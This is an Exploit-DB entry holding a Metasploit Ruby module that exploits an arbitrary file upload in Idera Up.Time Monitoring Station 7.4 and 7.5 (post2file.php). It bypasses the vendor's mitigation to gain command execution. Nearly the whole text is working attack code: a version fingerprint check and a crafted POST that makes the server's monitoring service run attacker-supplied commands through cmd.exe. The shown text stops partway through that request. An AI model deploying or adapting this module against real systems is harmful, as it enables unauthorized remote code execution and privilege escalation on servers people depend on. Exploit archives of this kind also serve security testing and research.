Exploit-DB #38733
Description: Idera Up.Time Monitoring Station 7.4 - 'post2file.php' Arbitrary File Upload (Metasploit)
Type: remote
Platform: php
Date: 2015-11-16
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit4 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload',
      'Description'     => %q{
        This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0.

        The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php,
        which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated
        by the vendor.

        Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it
        can still be bypassed and gain privilege escalation, and allows the attacker to upload file
        again, and execute arbitrary commands.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Denis Andzakovic', # Found file upload bug in post2file.php in 2013
          'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>',
          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>'
        ],
      'References'      =>
        [
          ['EDB', '37888'],
          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php']
        ],
       'Platform'       => ['php'],
       'Arch'           => ARCH_PHP,
       'Targets'        => [['Automatic', {}]],
       'Privileged'     => 'true',
       'DefaultTarget'  => 0,
       # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015,
       # it was discovered again by Ewerson 'Crash' Guimaraes.
       'DisclosureDate' => 'Nov 18 2013'
    ))

    register_options(
      [
        Opt::RPORT(9999),
        OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample'])
      ], self.class)

    register_advanced_options(
      [
        OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']),
        OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']),
        OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe'])
      ], self.class)
  end

  def print_status(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_error(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_good(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  # Application Check
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      vprint_error("Connection timed out.")
      return Exploit::CheckCode::Unknown
    end

    n = Nokogiri::HTML(res.body)
    uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]')

    if uptime_text
      version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first
      vprint_status("Found version: #{version}")
      if version >= '7.4.0' && version <= '7.5.0'
        return Exploit::CheckCode::Appears
      end
    end

    Exploit::CheckCode::Safe
  end

  def create_exec_service(*args)
    cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args
    res_service = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'main.php'),
      'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
      'vars_get' => {
        'section'          => 'ERDCInstance',
        'subsection'       => 'add',
      },
      'vars_post' => {
        'initialERDCId' => '20',
        'target' => '1',
        'targetType' => 'systemList',
        'systemList' => '1',
        'serviceGroupList' => '-10',
        'initialMode' => 'standard',
        'erdcName' => 'Exploit',
        'erdcInitialName' => '',
        'erdcDescription' => 'Exploit',
        'hostButton' => 'system',
        'erdc_id' => '20',
        'forceReload' => '0',
        'operation' => 'standard',
        'erdc_instance_id' => '',
        'label_[184]' => 'Script Name',
        'value_[184]' => cmd,
        'id_[184]' => 'process',
        'name_[process]' => '184',
        'units_[184]' => '',
        'guiBasic_[184]' => '1',
        'inputType_[184]' => 'GUIString',
        'screenOrder_[184]' => '1',
        'parmType_[184]' => '1',
        'label_[185]' => 'Arguments',
        'value_[185]' => cmdargs,
        'id_[185]' => 'args',
        'name_[args]' => '185',
        'units_[185]' => '',
        'guiBasic_[185]' => '1',
        'inputType_[185]' => 'GUIString',
        'screenOrder_[185]' => '2',
        'parmType_[185]' => '1',
        'label_[187]' => 'Output',
        'can_retain_[187]' => 'false',
        'comparisonWarn_[187]' => '-1',
        'comparison_[187]' => '-1',
        'id_[187]' => 'value_critical_output',
        'name_[output]' => '187',
        'units_[187]' => '',
        'guiBasic_[187]' => '1',
        'inputType_[187]' => 'GUIString',
        'screenOrder_[187]' => '4',
        'parmType_[187]' => '2',
        'label_[189]' => 'Response time',
        'can_retain_[189]' => 'false',
        'comparisonWarn_[189]' => '-1',
        'comparison_[189]' => '-1',
        'id_[189]' => 'value_critical_timer',
        'name_[timer]' => '189',
        'units_[189]' => 'ms',
        'guiBasic_[189]' => '0',
        'inputType_[189]' => 'GUIInteger',
        'screenOrder_[189]' => '6',
        'parmType_[189]' => '2',
        'timing_[erdc_instance_monitored]' => '1',